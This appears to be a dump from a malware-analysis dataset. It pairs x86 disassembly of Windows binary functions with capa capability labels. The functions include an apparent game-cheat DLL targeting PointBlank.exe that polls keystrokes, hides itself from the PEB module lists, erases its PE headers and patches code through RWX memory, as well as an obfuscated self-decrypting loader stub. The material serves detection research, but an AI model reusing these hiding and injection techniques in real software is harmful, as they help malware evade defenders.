joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001a79d
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x10041ebf
call fcn.1001e00d
mov ebx, dword [ebp + 8]
xor edi, edi
xor eax, eax
mov dword [ebp - 4], edi
mov esi, edi
mov dword [ebp - 0x14], esi
mov word [ebx], ax
call fcn.1001a6b4
test eax, eax
je 0x1001a7ce
call fcn.1001a6a6
mov esi, eax
mov dword [ebp - 0x14], eax
push 0x104
push ebx
push esi
push edi
push 0x1004a360
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
test esi, esi
js 0x1001a8e4
jmp 0x1001a81e
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x1001a82c
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
test esi, esi
jns 0x1001a8dc
push ebx
push edi
push edi
push 0x1a
push edi
mov dword [ebp - 4], 2
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
test esi, esi
jns 0x1001a88d
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x1001a8ea
or dword [ebp - 4], 0xffffffff
test esi, esi
jns 0x1001a8dc
push 1
push 0x1a
push ebx
push edi
mov dword [ebp - 4], 4
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
test esi, esi
jns 0x1001a8dc
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x1001a8ea
mov eax, esi
call fcn.1001df7c
ret
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__hToken__pPath__MAX_PATH_
call fcn.1001d4cb
pop ecx
pop ecx
push edi
push esi
call fcn.1003955f
int3
Function at 0x1001b453
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x80c
mov eax, dword [0x1006a1fc]
xor eax, esp
mov dword [esp + 0x808], eax
push ebx
mov ebx, dword [esp + 0x818]
lea eax, [esp + 0xc]
push ebp
push esi
mov esi, dword [esp + 0x81c]
mov ebp, 0x400
push edi
mov edi, dword [esp + 0x828]
push ebp
push 0
push eax
call fcn.10020dd0
push esi
push str.SOFTWAREClassesCLSID_sInprocServer32
lea eax, [esp + 0x2c]
push ebp
push eax
call fcn.100082eb
add esp, 0x1c
lea eax, [esp + 0x10]
neg edi
sbb edi, edi
push eax
push 0x20019
push 0
lea eax, [esp + 0x24]
add edi, reloc.OLEAUT32.dll_SysReAllocString
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, eax
test ecx, ecx
je 0x1001b4d8
xor eax, eax
cmp ecx, 2
sete al
jmp 0x1001b526
lea eax, [esp + 0x14]
mov dword [esp + 0x14], ebp
push eax
lea eax, [esp + 0x41c]
push eax
push 0x100573e9
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push dword [esp + 0x10]
test eax, eax
je 0x1001b50a
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x1001b526
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x418]
push eax
push ebx
call fcn.1003955f
neg eax
pop ecx
sbb eax, eax
pop ecx
neg eax
mov ecx, dword [esp + 0x818]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1001df6b
add esp, 0x80c
ret

Function at 0x1001be70
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x108]
sub esp, 0x108
push 0xffffffffffffffff
push 0x10041f1a
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x1006a1fc]
xor eax, ebp
mov dword [ebp + 0x104], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x10057e24
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.1003955f
add esp, 0xc
test eax, eax
jne 0x1001bf65
push dword [ebp - 0x18]
call fcn.1003955f
cmp dword [0x1006c09c], 0
pop ecx
je 0x1001bede
xor eax, eax
inc eax
jmp 0x1001bf67
lea eax, [ebp]
mov esi, 0x104
push eax
push esi
call dword [sym.imp.kernel32.dll_GetTempPathA]
cmp eax, esi
ja 0x1001bf65
test eax, eax
je 0x1001bf65
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000bde2
and dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
push str.JavaDeployReg.log
call fcn.1000bde2
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x10]
call fcn.100179f0
mov ecx, dword [ebp - 0x14]
mov byte [ebp - 4], 0
test ecx, ecx
je 0x1001bf33
call fcn.1000d957
push 0x10057e50
lea ecx, [ebp - 0x10]
call fcn.1000be86
push eax
push 0x1006c09c
call fcn.1003955f
mov ecx, dword [ebp - 0x10]
add esp, 0xc
mov esi, eax
neg esi
sbb esi, esi
test ecx, ecx
je 0x1001bf60
call fcn.1000d957
lea eax, [esi + 1]
jmp 0x1001bf67
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp + 0x104]
xor ecx, ebp
call fcn.1001df6b
add ebp, 0x108
leave
ret
Function at 0x1001c42a
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
mov eax, 0x1010
call fcn.1001e1d0
mov eax, dword [0x1006a1fc]
xor eax, esp
mov dword [esp + 0x100c], eax
push ebx
mov ebx, dword [esp + 0x1018]
lea eax, [esp + 0x10]
push ebp
push esi
push edi
mov edi, dword [esp + 0x1028]
mov ebp, 0x800
xor esi, esi
mov dword [esp + 0x18], 1
push ebp
push esi
push eax
mov dword [esp + 0x1c], esi
call fcn.10020dd0
push ebp
lea eax, [esp + 0x82c]
push esi
push eax
call fcn.10020dd0
push ebx
call fcn.1003955f
add esp, 0x1c
test eax, eax
je 0x1001c4c3
push eax
push dword [esp + 0x1030]
push edi
call fcn.1003955f
add esp, 0xc
test eax, eax
je 0x1001c63a
xor eax, eax
mov ecx, dword [esp + 0x101c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1001df6b
add esp, 0x1010
ret
lea eax, [esp + 0x10]
push eax
push 0x20019
push esi
push dword [0x1006a1ec]
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1001c4a8
lea eax, [esp + 0x102c]
push eax
push edi
lea eax, [esp + 0x20]
push eax
push esi
push ebx
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x1001c61e
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x800
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x20]
push eax
push esi
push 0x10059678
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x1001c53e
xor esi, esi
inc esi
jmp 0x1001c61e
push dword [esp + 0x10]
call ebp
lea eax, [esp + 0x10]
push eax
push 0x20019
push esi
push str.SOFTWAREOracleJavaDeploy
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1001c536
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x800
push eax
lea eax, [esp + 0x820]
push eax
lea eax, [esp + 0x20]
push eax
push esi
push str.deployment.modified.timestamp
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1001c536
lea eax, [esp + 0x1c]
mov dword [esp + 0x14], 0x800
push eax
lea eax, [esp + 0x820]
push eax
call fcn.1003955f
pop ecx
pop ecx
test eax, eax
js 0x1001c63a
lea eax, [esp + 0x14]
push eax
push edi
lea eax, [esp + 0x20]
push eax
push esi
push ebx
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1001c536
push dword [esp + 0x10]
call ebp
call fcn.1003955f
test eax, eax
jne 0x1001c63a
lea eax, [esp + 0x10]
push eax
push 0x20006
push esi
push dword [0x1006a1ec]
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1001c4a8
push dword [esp + 0x14]
push edi
push 1
push esi
push ebx
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1001c62b
push dword [esp + 0x10]
call ebp
mov eax, esi
jmp 0x1001c4aa
push dword [esp + 0x10]
call ebp
push edi
push ebx
call fcn.1003955f
pop ecx
pop ecx
xor eax, eax
inc eax
jmp 0x1001c4aa
Function at 0x1001d349
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x824
mov eax, dword [0x1006a1fc]
xor eax, esp
mov dword [esp + 0x820], eax
push ebx
push ebp
mov ebp, dword [esp + 0x830]
lea eax, [esp + 0x428]
push esi
mov esi, dword [esp + 0x838]
xor ebx, ebx
push edi
mov edi, 0x400
push edi
push ebx
push eax
call fcn.10020dd0
push esi
push ebx
push ebp
push 0xffffffffffffffff
lea eax, [esp + 0x44c]
push edi
push eax
call fcn.1003955f
movzx ecx, byte [esp + 0x853]
lea edi, [esp + 0x34]
xor edx, edx
test eax, eax
push 8
cmovs ecx, edx
xor eax, eax
mov byte [esp + 0x857], cl
pop ecx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x34]
push 0x20
push eax
call fcn.1003955f
push 0x1005af1c
lea eax, [esp + 0x40]
push 0x20
push eax
call fcn.1003955f
push 0x400
lea eax, [esp + 0x6c]
push ebx
push eax
call fcn.10020dd0
mov ecx, ebp
add esp, 0x44
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001d3ee
sub ecx, edx
cmp ecx, 6
jbe 0x1001d415
lea eax, [ebp - 6]
add eax, ecx
push str.__08x_
push eax
call fcn.1003955f
pop ecx
pop ecx
test eax, eax
jne 0x1001d415
xor ebx, ebx
inc ebx
lea esi, [esp + 0x10]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1001d41c
sub esi, ecx
lea eax, [esp + 0x430]
push eax
mov ecx, 0x1005af13
test ebx, ebx
mov eax, str.Error:
cmove eax, ecx
push eax
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.kernel32.dll_GetCurrentProcessId]
push eax
push str.P:_04d_T:_04d__s_s
mov eax, 0x3ff
sub eax, esi
push 0xffffffffffffffff
push eax
lea eax, [esp + 0x4c]
add eax, esi
push eax
call fcn.1003955f
mov ecx, dword [esp + 0x44b]
test eax, eax
push esi
lea eax, [esp + 0x34]
mov edx, 0x2e2e2e
push eax
lea eax, [esp + 0x58]
cmovs ecx, edx
push eax
mov dword [esp + 0x457], ecx
call fcn.10020850
lea edi, [esp + 0x5c]
add esp, 0x2c
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1001d496
mov ax, word [0x1005af48]
mov word [edi], ax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
mov ecx, dword [esp + 0x830]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1001df6b
add esp, 0x824
ret

Function at 0x1003955f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1003956e
pop dword [ebp - 0xc]
mov eax, 0x346a251c
add eax, 0xdb997052
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x4a546
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x6aac9591
sub ecx, 0x6aac2e12
mov esi, eax
mov edx, 0xa9eff5cc
add edx, 0x66199834
add edx, dword [ebp - 0xc]
mov edi, 0x8dc8fc49
add edi, 0xa5b28c5e
mov dword [ebp - 8], 0x3146fb37
mov ebx, dword [edx]
add dword [ebp - 4], ebx
sub ebx, edi
mov dword [esi], ebx
xor dword [ebp - 4], edx
add esi, 0x3ba0b1d4
add esi, 0xc45f4e30
add edx, 0x30a8a159
add edx, 0xcf575eab
loop 0x100395c8
add eax, 0x190cf
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x409944
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4099f8
jmp 0x4099ed
cmp dword [esi + 0x10], 0x1000
jne 0x4099d9
test byte [esi + 0x15], 1
jne 0x4099d9
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409998
cmp eax, 2
je 0x409998
cmp eax, 0x10
je 0x409998
cmp eax, 0x20
jne 0x4099ad
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4099ad
mov bl, 1
xor ebp, ebp
jmp 0x4099be
mov eax, dword [esi]
add eax, ebp
call fcn.0040993c
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x4099b1
test bl, bl
je 0x4099d9
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4099f8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409970
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x402bd0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x404840], eax
mov ecx, ebp
add ecx, 8
mov dword [0x40410c], ecx
mov dword [0x4047c0], 0x30
mov dword [0x4047c4], 2
mov dword [0x4047cc], 0
mov dword [0x4047d0], 0
mov dword [0x4047c8], 0x402f50
jmp 0x402c23
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4047d4], eax
mov dword [0x4047e0], 0xf
mov dword [0x4047e8], 0x404767
mov dword [0x404104], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4047d8], eax
mov dword [0x4047ec], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4047dc], eax
push 0x4047c0
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x404104]
push 0
push 0
push 0x24e
push 0x320
push 0xd8
push 0xa0
push 0x40000
push str.litform
push str.ndcls
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x404838], eax
xor eax, eax
jmp 0x402cc2
push eax
push dword [0x404838]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x404838]
call dword [sym.imp.user32.dll_UpdateWindow]
push 0
push 0
push 0
push 0x4047f0
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x402d08
push 0x4047f0
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x4047f0
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x402cdb
mov eax, dword [0x4047f8]
jmp 0x402d15
call 0x4022b2
ret
Function at 0x10001420
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push esi
mov esi, dword [0x100678c0]
push 0x60
call ebp
push 0x11
call ebp
push 0x2d
call ebp
test al, 1
je 0x1000144a
xor eax, eax
cmp dword [esi + 4], eax
sete al
mov dword [esi + 4], eax
xor ebx, ebx
cmp dword [esi + 4], ebx
je 0x10001569
push edi
push 0x26
call ebp
test al, 1
je 0x1000148e
mov edi, dword [sym.imp.WINMM.dll_sndPlaySoundA]
or ebx, 0xffffffff
push 5
push 0x10053038
call edi
add dword [esi + 0x10], ebx
jns 0x1000147b
mov ecx, dword [esi]
dec ecx
mov dword [esi + 0x10], ecx
mov edx, dword [esi + 0x10]
mov eax, dword [esi + 8]
mov ecx, dword [eax + edx*4]
cmp dword [ecx], 2
je 0x10001467
pop edi
pop esi
pop ebp
pop ebx
ret
push 0x28
call ebp
test al, 1
je 0x100014c9
mov edi, dword [sym.imp.WINMM.dll_sndPlaySoundA]
lea esp, [esp]
push 5
push 0x10053038
call edi
inc dword [esi + 0x10]
mov eax, dword [esi + 0x10]
cmp eax, dword [esi]
jne 0x100014b6
mov dword [esi + 0x10], ebx
mov edx, dword [esi + 0x10]
mov eax, dword [esi + 8]
mov ecx, dword [eax + edx*4]
cmp dword [ecx], 2
je 0x100014a0
pop edi
pop esi
pop ebp
pop ebx
ret
mov edx, dword [esi + 0x10]
mov eax, dword [esi + 8]
mov ecx, dword [eax + edx*4]
cmp dword [ecx + 0xc], ebx
je 0x10001568
push 0x25
xor edi, edi
call ebp
mov ebx, dword [sym.imp.WINMM.dll_sndPlaySoundA]
test al, 1
je 0x10001507
mov edx, dword [esi + 0x10]
mov eax, dword [esi + 8]
mov ecx, dword [eax + edx*4]
mov edx, dword [ecx + 0xc]
cmp dword [edx], edi
jle 0x10001507
push 5
push str.RIFF0
or edi, 0xffffffff
call ebx
push 0x27
call ebp
test al, 1
je 0x10001533
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 8]
mov eax, dword [ecx + eax*4]
mov edx, dword [eax + 0x10]
mov eax, dword [eax + 0xc]
dec edx
cmp dword [eax], edx
jge 0x10001533
push 5
push str.RIFF0
mov edi, 1
call ebx
jmp 0x10001537
test edi, edi
je 0x10001568
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 8]
mov eax, dword [edx + ecx*4]
mov eax, dword [eax + 0xc]
add dword [eax], edi
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 8]
lea eax, [edx + ecx*4]
mov ecx, dword [eax]
cmp dword [ecx], 1
jne 0x1000155b
mov dword [esi], 0
mov edx, dword [eax]
cmp dword [edx], 4
jne 0x10001568
mov dword [esi], 0
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x10001570
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push ebx
push esi
test edi, edi
je 0x10001610
cmp dword [esp + 0x10], 0
je 0x10001610
push 0x40
push 0x1000
push 0x13
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10001610
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 8]
push eax
push 0x40
push 0xc
push edi
call ebx
test eax, eax
je 0x10001610
mov ecx, edi
push ebp
mov eax, esi
sub ecx, esi
mov ebp, 0xc
nop
mov dl, byte [ecx + eax]
mov byte [eax], dl
inc eax
sub ebp, 1
jne 0x100015c0
mov edx, dword [esp + 0x14]
lea eax, [edi + 0xc]
mov dword [esi + 0xd], eax
mov ecx, 0xe0ff
mov word [esi + 0x11], cx
mov byte [esi + 0xc], 0xb8
mov eax, ecx
lea ecx, [esp + 0xc]
push ecx
mov dword [edi + 1], edx
mov edx, dword [esp + 0x10]
push edx
push 0xc
push edi
mov byte [edi], 0xb8
mov word [edi + 5], ax
call ebx
lea eax, [esp + 0xc]
push eax
push 0x20
push 0x13
push esi
call ebx
pop ebp
mov eax, esi
pop esi
pop ebx
pop ecx
ret
pop esi
xor eax, eax
pop ebx
pop ecx
ret
Function at 0x10001a30
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edi
push str.PointBlank.exe
call esi
mov ecx, dword [0x100667c0]
lea edx, [eax + ecx - 0x34]
push str.PointBlank.exe
mov dword [esp + 0x1c], edx
call esi
mov ecx, dword [0x100667c0]
mov esi, dword [ecx + eax]
movzx edx, byte [esi + 0x2acb8]
mov eax, dword [ecx + eax - 0x34]
mov ebp, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
add esi, 0x2acb8
mov edi, edx
shl edi, 5
cmp byte [ecx + 0x400000], 1
lea eax, [edi + eax + 0x264]
mov dword [esp + 0x10], eax
jbe 0x10001ad1
cmp byte [0x10067844], 0
jne 0x10001ad1
lea edi, [ecx + 0x3fffcc]
push 4
lea ebx, [edx + 0x13]
push edi
shl ebx, 5
call ebp
test eax, eax
jne 0x10001ac1
mov edi, dword [edi]
push 4
add edi, ebx
push edi
call ebp
test eax, eax
jne 0x10001ac5
mov edi, dword [edi]
jmp 0x10001ac5
mov edi, dword [esp + 0x18]
mov ecx, dword [0x100667c0]
mov dword [0x10066788], edi
cmp dword [0x100664c4], 0
jne 0x10001b1c
movzx edi, byte [esi]
mov edx, dword [0x10066788]
lea ebx, [ecx + 0x3fffcc]
push 4
add edi, 0x13
push ebx
mov byte [0x10067844], 0
mov dword [esp + 0x1c], edx
shl edi, 5
call ebp
test eax, eax
jne 0x10001b16
mov ebx, dword [ebx]
push 4
add ebx, edi
push ebx
call ebp
test eax, eax
jne 0x10001b16
mov eax, dword [esp + 0x14]
mov dword [ebx], eax
mov ecx, dword [0x100667c0]
mov edx, dword [esp + 0x18]
cmp byte [edx], 1
jbe 0x10001bc0
fldz
mov eax, dword [esp + 0x10]
fcomp dword [eax]
fnstsw ax
test ah, 5
jp 0x10001b84
cmp dword [0x100664c4], 1
jne 0x10001b84
movzx edi, byte [esi]
mov edx, dword [0x10066788]
lea ebx, [ecx + 0x3fffcc]
push 4
dec edx
add edi, 0x13
push ebx
mov byte [0x10067844], 1
mov dword [esp + 0x20], edx
shl edi, 5
call ebp
test eax, eax
jne 0x10001b7e
mov ebx, dword [ebx]
push 4
add ebx, edi
push ebx
call ebp
test eax, eax
jne 0x10001b7e
mov eax, dword [esp + 0x18]
mov dword [ebx], eax
mov ecx, dword [0x100667c0]
fldz
mov edx, dword [esp + 0x10]
fcomp dword [edx]
fnstsw ax
test ah, 0x41
jne 0x10001bc0
movzx esi, byte [esi]
mov ebx, dword [0x10066788]
lea edi, [ecx + 0x3fffcc]
push 4
add esi, 0x13
push edi
shl esi, 5
call ebp
test eax, eax
jne 0x10001bc0
mov edi, dword [edi]
push 4
add edi, esi
push edi
call ebp
test eax, eax
jne 0x10001bc0
mov dword [edi], ebx
push 0xa4
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
pop edi
pop esi
pop ebp
pop ebx
test al, 1
je 0x10001bf8
xor eax, eax
cmp dword [0x100664c4], eax
push 0
sete al
mov dword [0x100664c4], eax
call dword [sym.imp.USER32.dll_MessageBeep]
push 0x64
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Beep]
add esp, 0xc
ret
Function at 0x10001c00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x10
mov ecx, 0xe6
xor eax, eax
lea ebx, [ebx]
mov dl, byte [eax + 0x10057488]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 1], dl
jns 0x10001c2d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xe
jl 0x10001c10
lea eax, [esp + 1]
push eax
mov byte [esp + 0x13], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor ecx, ecx
mov dword [esp + 1], ecx
mov dword [esp + 5], ecx
mov dword [esp + 9], ecx
mov word [esp + 0xd], cx
mov byte [esp + 0xf], cl
mov ecx, dword [0x10066774]
cmp byte [ecx + eax], 1
jbe 0x10001cb7
cmp dword [0x100664d8], 1
jne 0x10001cb7
mov al, byte [0x10067847]
test al, al
jne 0x10001c97
mov eax, dword [0x10066750]
push 1
push 0x8a0
push 0x1c
call fcn.100016e0
add esp, 0xc
mov byte [0x10067847], 1
jmp 0x10001c9b
cmp al, 1
jne 0x10001cb7
movzx edx, byte [0x1006623e]
mov eax, dword [0x10066750]
push edx
push 0x8a0
push 0x1c
call fcn.10001780
add esp, 0xc
add esp, 0x10
ret

Function at 0x10003570
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp + 8]
jne 0x100035a9
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100035ad
cmp edx, esi
jne 0x10003592
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp + 8]
jne 0x100035cd
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100035d1
cmp edx, esi
jne 0x100035b6
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp + 8]
jne 0x100035f1
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100035f5
cmp edx, esi
jne 0x100035da
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10003600
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
test edi, edi
je 0x10003658
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
mov esi, dword [edi + 0x3c]
lea eax, [esp + 8]
push eax
push 4
push 0x40
push edi
add esi, edi
call ebx
test eax, eax
je 0x1000362f
push 0x40
push 0
push edi
call sub.MSVCR90.dll_memset
add esp, 0xc
test esi, esi
je 0x10003656
lea ecx, [esp + 8]
push ecx
push 4
push 0xf8
push esi
call ebx
test eax, eax
je 0x10003656
push 0xf8
push 0
push esi
call sub.MSVCR90.dll_memset
add esp, 0xc
pop esi
pop ebx
pop ecx
ret
Function at 0x10007320
Capabilities:
Create thread

Disassembly:
cmp dword [esp + 8], 1
jne 0x1000738b
push esi
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
push edi
push 0x41
push str._DONE
push 0x10057634
push 0
call esi
push 0x41
push str._orang_ganteng
push str.KrisnaN3TeaM
push 0
call esi
mov edi, dword [esp + 0xc]
push edi
call fcn.10003570
add esp, 4
call fcn.10003600
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10006ef0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x100072b0
push 0
push 0
call esi
pop edi
pop esi
mov eax, 1
ret 0xc

Function at 0x100074c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esi + 0x10]
inc eax
push eax
call sub.MSVCR90.dll_void____cdecl_operator_new___unsigned_int_
mov dword [esi + 0xc], eax
xor eax, eax
add esp, 4
cmp dword [esi + 0x10], eax
jle 0x1000750b
mov ecx, dword [esi + 4]
mov cl, byte [ecx + eax*4]
mov edx, dword [esi + 0xc]
mov byte [eax + edx], cl
mov edx, dword [esi + 0xc]
lea ecx, [eax + edx]
mov dl, byte [esi + 0x18]
xor byte [ecx], dl
mov ecx, dword [esi + 0x18]
inc ecx
and ecx, 0x800000ff
jns 0x10007502
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
mov dword [esi + 0x18], ecx
cmp eax, dword [esi + 0x10]
jl 0x100074d7
mov edx, dword [esi + 0x10]
mov eax, dword [esi + 0xc]
mov byte [edx + eax], 0
mov ecx, dword [esi + 4]
push ecx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
mov edx, dword [esi + 8]
push edx
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
mov eax, dword [esi + 0xc]
add esp, 8
mov dword [esi + 4], 0
mov dword [esi + 8], 0
ret

Function at 0x1000753c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10059018]
jne 0x10007546
repz ret
jmp fcn.1000797c